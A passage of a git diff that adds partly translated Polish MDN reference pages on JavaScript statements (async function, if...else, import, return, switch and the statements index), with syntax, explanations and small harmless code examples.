+<div>{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}</div> + +<p class="hidden">Źródło niniejszego interaktywnego demo znajduje się na repozytorium GitHuba. Jeśli chcesz mieć wkład w ten interaktywny projekt demo po prostu sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam żądanie pull.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>name</code></dt> + <dd>Nazwa funkcji.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>Nazwa argumentu, który zostanie podany do funkcji.</dd> +</dl> + +<dl> + <dt><code>statements</code></dt> + <dd>Wyrażenia stanowiące ciało funkcji.</dd> +</dl> + +<h3 id="Wartość_zwrotna_return">Wartość zwrotna (return)</h3> + +<p><code><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>, które zostanie rozwiązane z wartością zwróconą przez funkcję asynchroniczną lub odrzucone z nieprzechwyconym wyjątkiem wyrzuconym z funkcji asynchronicznej.</p> + +<h2 id="Opis">Opis</h2> + +<p>Funkcja <code>async</code> może zawierać wyrażenie {{jsxref("Operators/await", "await")}}, które wstrzymuje wywołanie funkcji asynchronicznej i czeka na przekazaną deklarację <code>Promise</code>i wtedy wznawia wywołanie funkcji <code>async</code> oraz interpretuje jako wartość rozwiązaną.<br> + <br> + Pamiętaj, że polecenie <code>await</code> działa wyłącznie wewnątrz funkcji <code>async</code>. Jeśli użyjesz go poza ciałem funkcji <code>async</code> otrzymasz <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code>.</p> + +<p>Zauważ, że kiedy funkcja <code>async</code> jest wstrzymana, funkcja wywołująca kontynuuje działanie (otrzymując domyślny Promise zwracany przez funkcję <code>async</code>).</p> + +<div class="note"> +<p>Celem funkcji <code>async</code>/<code>await</code> jest uproszczenie działania używając obietnic (promises) synchronicznie oraz by wykonać pewne działania w grupie <code>Promises</code>. Tak, jak <code>Promises</code> są podobne do strukturalnych callbacków, tak <code>async</code>/<code>await</code> jest podobne do kombinacji generatorów i obietnic.</p> +</div> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Prosty_przykład">Prosty przykład</h3> + +<pre class="brush: js">var resolveAfter2Seconds = function() { + console.log("starting slow promise"); + return new Promise(resolve => { + setTimeout(function() { + resolve("slow"); + console.log("wolna obietnica została wykonana"); + }, 2000); + }); +}; + +var resolveAfter1Second = function() { + console.log("starting fast promise"); + return new Promise(resolve => { + setTimeout(function() { + resolve("fast"); + console.log("szybka obietnica została wykonana"); + }, 1000); + }); +}; + +var sequentialStart = async function() { + console.log('==START SEKWENCYJNY=='); + + // 1. Niemalże natychmiast dochodzi do wywołania + const slow = await resolveAfter2Seconds(); + console.log(slow); // 2. to zostaje wywołanie 2s po 1. + + const fast = await resolveAfter1Second(); + console.log(fast); // 3. to zostaje wykonane 3s po 1. +} + +var concurrentStart = async function() { + console.log('==RÓWNOCZESNY START z await=='); + const slow = resolveAfter2Seconds(); // licznik startuje od razu + const fast = resolveAfter1Second(); // licznik startuje od razu + + // 1. Niemalże natychmiast dochodzi do wywołania + console.log(await slow); // 2. jest wywołane 2s po 1. + console.log(await fast); // 3. jest wywołane 2s po 1., natychmiast po 2., podczas gdy szybka jest już wykonana +} + +var concurrentPromise = function() { + console.log('==RÓWNOCZESNY START z Promise.all=='); + return Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) => { + console.log(messages[0]); // wolne + console.log(messages[1]); // szybkie + }); +} + +var parallel = async function() { + console.log('==RÓWNOLEGLE z await Promise.all=='); + + // Równolegle startują dwa zadania i czekamy na zakończenie działania obu + await Promise.all([ + (async()=>console.log(await resolveAfter2Seconds()))(), + (async()=>console.log(await resolveAfter1Second()))() + ]); +} + +// This function does not handle errors. See warning below! +var parallelPromise = function() { + console.log('==PARALLEL with Promise.then=='); + resolveAfter2Seconds().then((message)=>console.log(message)); + resolveAfter1Second().then((message)=>console.log(message)); +} + +sequentialStart(); // after 2 seconds, logs "slow", then after 1 more second, "fast" + +// wait above to finish +setTimeout(concurrentStart, 4000); // after 2 seconds, logs "slow" and then "fast" + +// wait again +setTimeout(concurrentPromise, 7000); // same as concurrentStart + +// wait again +setTimeout(parallel, 10000); // truly parallel: after 1 second, logs "fast", then after 1 more second, "slow" + +// wait again +setTimeout(parallelPromise, 13000); // same as parallel +</pre> + +<div class="note"> +<h4 id="await_and_parallelism"><code>await</code> and parallelism</h4> + +<p>In <code>sequentialStart</code>, execution suspends 2 seconds for the first <code>await</code>, and then again another 1 second for the second <code>await</code>. The second timer is not created until the first has already fired. The code finishes after 3 seconds.</p> + +<p>In <code>concurrentStart</code>, both timers are created and then <code>await</code>ed. The timers are running concurrently, which means the code finishes in 2 rather than 3 seconds, i.e. the slowest timer.<br> + However the <code>await</code> calls are still running in series, which means the second <code>await</code> will wait for the first one to finish. In this case, this leads to the processing of the result of the fastest timer to be performed after the slowest.</p> + +<p>If you wish to fully perform two or more jobs in parallel, you must use <code>await Promise.all([job1(), job2()])</code> as shown in the <code>parallel</code> example.</p> +</div> + +<div class="warning"> +<h4 id="asyncawait_vs_Promisethen_and_error_handling"><code>async</code>/<code>await</code> vs Promise#then and error handling</h4> + +<p>Most async functions can also be written as regular functions using Promises. However <code>async</code> functions are a little bit less error-prone when it comes to error handling.</p> + +<p>Both <code>concurrentStart</code> and <code>concurrentPromise</code> are functionally equivalent.<br> + In <code>concurrentStart</code>, if either of the <code>await</code>ed calls fail, the exception will be automatically caught, the async function execution interrupted, and the Error propagated to the caller through the implicit return Promise.<br> + For the same to happen in the Promise case, the function must take care of returning a <code>Promise</code> which captures the completion of the function. In <code>concurrentPromise</code> that means <code>return</code>ing the promise from <code>Promise.all([]).then()</code>. As a matter of fact, a previous version of this example forgot to do this!</p> + +<p>It is however still possible for <code>async</code> functions to mistakenly swallow errors.<br> + Take for example the <code>parallel</code> async function. If it didn't <code>await</code> (or <code>return</code>) the result of the <code>Promise.all([])</code> call, any Error would not have been propagated.<br> + While the <code>parallelPromise</code> example seem simple, it does not handle errors at all! Doing so would require a similar <code>return </code><code>Promise.all([])</code>.</p> +</div> + +<h3 id="Rewriting_a_promise_chain_with_an_async_function">Rewriting a promise chain with an <code>async</code> function</h3> + +<p>An API that returns a {{jsxref("Promise")}} will result in a promise chain, and it splits the function into many parts. Consider the following code:</p> + +<pre class="brush: js">function getProcessedData(url) { + return downloadData(url) // returns a promise + .catch(e => { + return downloadFallbackData(url); // returns a promise + }) + .then(v => { + return processDataInWorker(v); // returns a promise + }); +} +</pre> + +<p>it can be rewritten with a single <code>async</code> function as follows:</p> + +<pre class="brush: js">async function getProcessedData(url) { + let v; + try { + v = await downloadData(url); + } catch(e) { + v = await downloadFallbackData(url); + } + return processDataInWorker(v); +} +</pre> + +<p>Note that in the above example, there is no <code>await</code> statement on the <code>return</code> statement, because the return value of an <code>async function</code> is implicitly wrapped in {{jsxref("Promise.resolve")}}.</p> + +<div class="blockIndicator note"> +<h4 id="return_await_promiseValue_vs._return_promiseValue"><code>return await promiseValue;</code> vs. <code>return promiseValue;</code></h4> + +<p>The implicit wrapping of return values in {{jsxref("Promise.resolve")}} does not imply that <code>return await promiseValue;</code> is functionally equivalent to <code>return promiseValue;</code></p> + +<p>Consider the following rewrite of the above code that returns null if <code>processDataInWorker</code> were to reject with an error:</p> + +<pre class="brush: js">async function getProcessedData(url) { + let v; + try { + v = await downloadData(url); + } catch(e) { + v = await downloadFallbackData(url); + } + try { + return await processDataInWorker(v); // Note the `return await` vs. just `return` + } catch (e) { + return null; + } +} +</pre> + +<p>Having simply written <code>return processDataInWorker(v);</code> would have caused the {{jsxref("Promise")}} returned by the function to reject instead of resolving to <code>null</code> in the case where <code>processDataInWorker(v)</code> rejects. This highlights the subtle difference between <code>return foo;</code> and <code>return await foo;</code> which is that <code>return foo;</code> will immediately return <code>foo</code> and never throw even if <code>foo</code> is a promise and rejects whereas <code>return await foo;</code> will wait for <code>foo</code> to resolve or reject if it's a promise and will throw <strong>before returning</strong> if it rejects.</p> +</div> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Initial definition in ES2017.</td> + </tr> + <tr> + <td>{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}</td> + <td>{{Spec2('ES8')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.statements.async_function")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Operators/async_function", "async function expression")}}</li> + <li>{{jsxref("AsyncFunction")}} object</li> + <li>{{jsxref("Operators/await", "await")}}</li> + <li><a href="http://innolitics.com/10x/javascript-decorators-for-promise-returning-functions/">"Decorating Async Javascript Functions" on "innolitics.com"</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/if...else/index.html b/files/pl/web/javascript/referencje/polecenia/if...else/index.html new file mode 100644 index 0000000000..38dd3c8f8a --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/if...else/index.html @@ -0,0 +1,65 @@ +--- +title: if...else +slug: Web/JavaScript/Referencje/Polecenia/if...else +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/if...else +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Wykonuje blok poleceń, jeśli dany warunek jest spełniony. Jeśli warunek nie jest spełniony, może zostać wykonany inny blok poleceń. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Polecenie</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.0, NES 2.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">if (warunek) { + <i>polecenia1</i> +} +[else { + <i>polecenia2</i> +}] +</pre> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>warunek</code> </dt><dd> może być dowolnym wyrażeniem JavaScriptu przyjmującym wartości logiczne (true, false) lub mogącym być na wartości logiczne przekonwertowane. Warunek musi być ujęty w nawiasach. Jeśli warunek jest spełniony (ma wartość true), wykonywane są polecenia w bloku <code>polecenia1</code>. +</dd></dl> +<dl><dt> <code>polecenia1</code>, <code>polecenia2</code> </dt><dd> mogą być dowolnymi poleceniami JavaScriptu, w tym zagnieżdżonymi poleceniami <code>if...else</code>. Bloki wielu poleceń muszą być ujęte w nawiasy klamrowe. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Nie powinno się używać prostych operatorów przypisania w wyrażeniu warunkowym. Przykładowo, nie należy używać kodu podobnego do poniższego: +</p> +<pre>if(x = y) +{ + /* zrób coś */ +} +</pre> +<p>Jeśli potrzebujesz użyć przypisania w wyrażeniu warunkowym, użyj dodatkowej pary nawiasów. Na przykład: <code>if( (x = y) )</code>. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_if...else" name="Przyk.C5.82ad:_Zastosowanie_if...else"> Przykład: Zastosowanie <code>if...else</code> </h4> +<pre>if (cipher_char == from_char) { + result = result + to_char + x++} +else + result = result + clear_char +</pre> +<p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/if...else", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/if...else", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/if...else", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/if...else" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/import/index.html b/files/pl/web/javascript/referencje/polecenia/import/index.html new file mode 100644 index 0000000000..406050c420 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/import/index.html @@ -0,0 +1,55 @@ +--- +title: import +slug: Web/JavaScript/Referencje/Polecenia/import +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/import +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Pozwala zaimportować własności, funkcje i obiekty z podpisanego skryptu, który wyeksportował informację. +</p><p>Tej cechy nie ma w 3 edycji ECMA 262. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Instrukcja</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.2, NES 3.0</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +import <i>objectName</i>.<i>name1</i>, <i>objectName</i>.<i>name2</i>, ..., <i>objectName</i>.<i>nameN</i>; +</code> +</p><p><code> +import <i>objectName</i>.<i>*</i>; +</code> +</p> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>objectName</code> </dt><dd> Nazwa obiektu, który przyjmie zaimportowane nazwy. +</dd></dl> +<dl><dt> <code>nameN</code> </dt><dd> Własność, funkcja lub obiekt do zaimportowania. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Parametr <code>objectName</code> jest nazwą obiektu, który przyjmie zaimportowane nazwy. Na przykład jeśli <code>f</code> i <code>p</code> zostały wyeksportowane i <code>obj</code> jest obiektem z importującego skryptu, to poniższy kod zrobi <code>f</code> i <code>p</code> dostępnymi jako własności <code>obj</code> wewnątrz skryptu importującego. +</p> +<pre class="eval">import obj.f, obj.p; +</pre> +<p>Pierwsza składnia importuje określone własności, funkcje i obiekty z wyeksportowanego skryptu. +</p><p>Druga składnia importuje wszystkie własności, funkcje i obiekty z wyeksportowanego skryptu. +</p><p>Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie (używając instrukcji <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/export">export</a></code>) własności, funkcji i obiektów podpisany skrypt robi tę informację dostępną dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji <code>import</code>, by uzyskać dostęp do tej informacji. +</p><p>Skrypt musi załadować skrypt eksportowy do okna, ramki lub warstwy zanim będzie on mógł zaimportować i użyć którejkolwiek z wyeksportowanych własności, funkcji lub obiektów. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/export">export</a></code> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/import", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/import", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/import" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/index.html b/files/pl/web/javascript/referencje/polecenia/index.html new file mode 100644 index 0000000000..b6f58b783c --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/index.html @@ -0,0 +1,149 @@ +--- +title: Polecenia +slug: Web/JavaScript/Referencje/Polecenia +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</p> + +<h2 id="Statements_and_declarations_by_category">Statements and declarations by category</h2> + +<p>For an alphabetical listing see the sidebar on the left.</p> + +<h3 id="Control_flow">Control flow</h3> + +<dl> + <dt>{{jsxref("Statements/block", "Block")}}</dt> + <dd>A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.</dd> + <dt>{{jsxref("Statements/break", "break")}}</dt> + <dd>Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.</dd> + <dt>{{jsxref("Statements/continue", "continue")}}</dt> + <dd>Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.</dd> + <dt>{{jsxref("Statements/Empty", "Empty")}}</dt> + <dd>An empty statement is used to provide no statement, although the JavaScript syntax would expect one.</dd> + <dt>{{jsxref("Statements/if...else", "if...else")}}</dt> + <dd>Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.</dd> + <dt>{{jsxref("Statements/switch", "switch")}}</dt> + <dd>Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.</dd> + <dt>{{jsxref("Statements/throw", "throw")}}</dt> + <dd>Throws a user-defined exception.</dd> + <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt> + <dd>Marks a block of statements to try, and specifies a response, should an exception be thrown.</dd> +</dl> + +<h3 id="Declarations">Declarations</h3> + +<dl> + <dt>{{jsxref("Statements/var", "var")}}</dt> + <dd>Declares a variable, optionally initializing it to a value.</dd> + <dt>{{jsxref("Statements/let", "let")}}</dt> + <dd>Declares a block scope local variable, optionally initializing it to a value.</dd> + <dt>{{jsxref("Statements/const", "const")}}</dt> + <dd>Declares a read-only named constant.</dd> +</dl> + +<h3 id="Functions_and_classes">Functions and classes</h3> + +<dl> + <dt>{{jsxref("Statements/function", "function")}}</dt> + <dd>Declares a function with the specified parameters.</dd> + <dt>{{jsxref("Statements/function*", "function*")}}</dt> + <dd>Generator Functions enable writing <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterators</a> more easily.</dd> + <dt>{{jsxref("Statements/async_function", "async function")}}</dt> + <dd>Declares an async function with the specified parameters.</dd> + <dt>{{jsxref("Statements/return", "return")}}</dt> + <dd>Specifies the value to be returned by a function.</dd> + <dt>{{jsxref("Statements/class", "class")}}</dt> + <dd>Declares a class.</dd> +</dl> + +<h3 id="Iterations">Iterations</h3> + +<dl> + <dt>{{jsxref("Statements/do...while", "do...while")}}</dt> + <dd>Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.</dd> + <dt>{{jsxref("Statements/for", "for")}}</dt> + <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd> + <dt>{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt> + <dd>Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.</dd> + <dt>{{jsxref("Statements/for...in", "for...in")}}</dt> + <dd>Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.</dd> + <dt>{{jsxref("Statements/for...of", "for...of")}}</dt> + <dd>Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd> + <dt>{{jsxref("Statements/while", "while")}}</dt> + <dd>Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.</dd> +</dl> + +<h3 id="Others">Others</h3> + +<dl> + <dt>{{jsxref("Statements/debugger", "debugger")}}</dt> + <dd>Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.</dd> + <dt>{{jsxref("Statements/export", "export")}}</dt> + <dd>Used to export functions to make them available for imports in external modules, another scripts.</dd> + <dt>{{jsxref("Statements/import", "import")}}</dt> + <dd>Used to import functions exported from an external module, another script.</dd> + <dt>{{jsxref("Statements/label", "label")}}</dt> + <dd>Provides a statement with an identifier that you can refer to using a <code>break</code> or <code>continue</code> statement.</dd> +</dl> + +<dl> + <dt>{{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt> + <dd>Extends the scope chain for a statement.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td> + <td>{{Spec2('ES3')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>New: function*, let, for...of, yield, class</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.statements")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Operators</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/return/index.html b/files/pl/web/javascript/referencje/polecenia/return/index.html new file mode 100644 index 0000000000..ed7849ed65 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/return/index.html @@ -0,0 +1,48 @@ +--- +title: return +slug: Web/JavaScript/Referencje/Polecenia/return +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/return +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Określa wartość, która ma być zwrócona przez funkcję. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Polecenie</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.0, NES 2.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +return <i>wyrażenie</i>; +</code> +</p> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>wyrażenie</code> </dt><dd> wyrażenie, którego wynik ma być zwrócony. +</dd></dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_return" name="Przyk.C5.82ad:_Zastosowanie_return"> Przykład: Zastosowanie <code>return</code> </h4> +<p>Poniższa funkcja zwraca kwadrat swojego argumentu <code>x</code> (gdzie <code>x</code> jest liczbą). +</p> +<pre>function kwadrat(x) { + return x * x; +} +</pre> +<p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/return", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/return", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/return", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/return" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/switch/index.html b/files/pl/web/javascript/referencje/polecenia/switch/index.html new file mode 100644 index 0000000000..d131e042ca --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/switch/index.html @@ -0,0 +1,285 @@ +--- +title: switch +slug: Web/JavaScript/Referencje/Polecenia/switch +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/switch +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><span class="seoSummary">Instrukcja switch ocenia wyrażenie, dopasowując wartość wyrażenia do klauzuli case, i wykonuje instrukcje powiązane z tym case, a także instrukcje w przypadkach następujących po dopasowanym przypadku.</span></p> + +<div>{{EmbedInteractiveExample("pages/js/statement-switch.html")}}</div> + +<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples i wyślij nam prośbę o pobranie.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">switch (expression) { + case value1: + //Statements executed when the + //result of expression matches value1 + [break;] + case value2: + //Statements executed when the + //result of expression matches value2 + [break;] + ... + case valueN: + //Statements executed when the + //result of expression matches valueN + [break;] + [default: + //Statements executed when none of + //the values match the value of the expression + [break;]] +}</pre> + +<dl> + <dt><code>expression</code></dt> + <dd>Wyrażenie, którego wynik jest dopasowany do każdej klauzuli przypadku.</dd> + <dt><code>case valueN</code> {{optional_inline}}</dt> + <dd>Klauzula przypadku używana do dopasowania do wyrażenia. Jeśli wyrażenie pasuje do podanej wartościN, instrukcje wewnątrz klauzuli case są wykonywane do końca instrukcji switch lub break.</dd> + <dt><code>default</code> {{optional_inline}}</dt> + <dd>A <code>default</code> clause; if provided, this clause is executed if the value of <code>expression</code> doesn't match any of the <code>case</code> clauses.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>A switch statement first evaluates its expression. It then looks for the first <code>case</code> clause whose expression evaluates to the same value as the result of the input expression (using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">strict comparison</a>, <code>===</code>) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)</p> + +<p>If no matching <code>case</code> clause is found, the program looks for the optional <code>default</code> clause, and if found, transfers control to that clause, executing the associated statements. If no <code>default</code> clause is found, the program continues execution at the statement following the end of <code>switch</code>. By convention, the <code>default</code> clause is the last clause, but it does not need to be so.</p> + +<p>The optional <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If <code>break</code> is omitted, the program continues execution at the next statement in the <code>switch</code> statement.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_switch">Using <code>switch</code></h3> + +<p>In the following example, if <code>expr</code> evaluates to "Bananas", the program matches the value with case "Bananas" and executes the associated statement. When <code>break</code> is encountered, the program breaks out of <code>switch</code> and executes the statement following <code>switch</code>. If <code>break</code> were omitted, the statement for case "Cherries" would also be executed.</p> + +<pre class="brush: js">switch (expr) { + case 'Oranges': + console.log('Oranges are $0.59 a pound.'); + break; + case 'Apples': + console.log('Apples are $0.32 a pound.'); + break; + case 'Bananas': + console.log('Bananas are $0.48 a pound.'); + break; + case 'Cherries': + console.log('Cherries are $3.00 a pound.'); + break; + case 'Mangoes': + case 'Papayas': + console.log('Mangoes and papayas are $2.79 a pound.'); + break; + default: + console.log('Sorry, we are out of ' + expr + '.'); +} + +console.log("Is there anything else you'd like?"); +</pre> + +<h3 id="What_happens_if_I_forgot_a_break">What happens if I forgot a break?</h3> + +<p>If you forget a break then the script will run from the case where the criterion is met and will run the case after that regardless if criterion was met. See example here:</p> + +<pre class="brush: js">var foo = 0; +switch (foo) { + case -1: + console.log('negative 1'); + break; + case 0: // foo is 0 so criteria met here so this block will run + console.log(0); + // NOTE: the forgotten break would have been here + case 1: // no break statement in 'case 0:' so this case will run as well + console.log(1); + break; // it encounters this break so will not continue into 'case 2:' + case 2: + console.log(2); + break; + default: + console.log('default'); +}</pre> + +<h3 id="Can_I_put_a_default_between_cases">Can I put a default between cases?</h3> + +<p>Yes, you can! JavaScript will drop you back to the default if it can't find a match:</p> + +<pre class="brush: js">var foo = 5; +switch (foo) { + case 2: + console.log(2); + break; // it encounters this break so will not continue into 'default:' + default: + console.log('default') + // fall-through + case 1: + console.log('1'); +} +</pre> + +<p>It also works when you put default before all other cases.</p> + +<h3 id="Rewriting_multiple_If_statements_with_Switch">Rewriting multiple If statements with Switch</h3> + +<p>Shown below as a possibility.</p> + +<pre class="brush: js">var a = 100; +var b = NaN; +switch (true) { + case isNaN(a) || isNaN(b): + console.log('NaNNaN'); + break; + case a === b: + console.log(0); + break; + case a < b: + console.log(-1); + break; + default: + console.log(1); +} +</pre> + +<h3 id="Methods_for_multi-criteria_case">Methods for multi-criteria case</h3> + +<p>Source for this technique is here:</p> + +<p><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></p> + +<h4 id="Multi-case_-_single_operation">Multi-case - single operation</h4> + +<p>This method takes advantage of the fact that if there is no break below a case statement it will continue to execute the next case statement regardless if the case meets the criteria. See the section titled "What happens if I forgot a break?"</p> + +<p>This is an example of a single operation sequential switch statement, where four different values perform exactly the same.</p> + +<pre class="brush: js">var Animal = 'Giraffe'; +switch (Animal) { + case 'Cow': + case 'Giraffe': + case 'Dog': + case 'Pig': + console.log('This animal will go on Noah\'s Ark.'); + break; + case 'Dinosaur': + default: + console.log('This animal will not.'); +}</pre> + +<h4 id="Multi-case_-_chained_operations">Multi-case - chained operations</h4> + +<p>This is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different 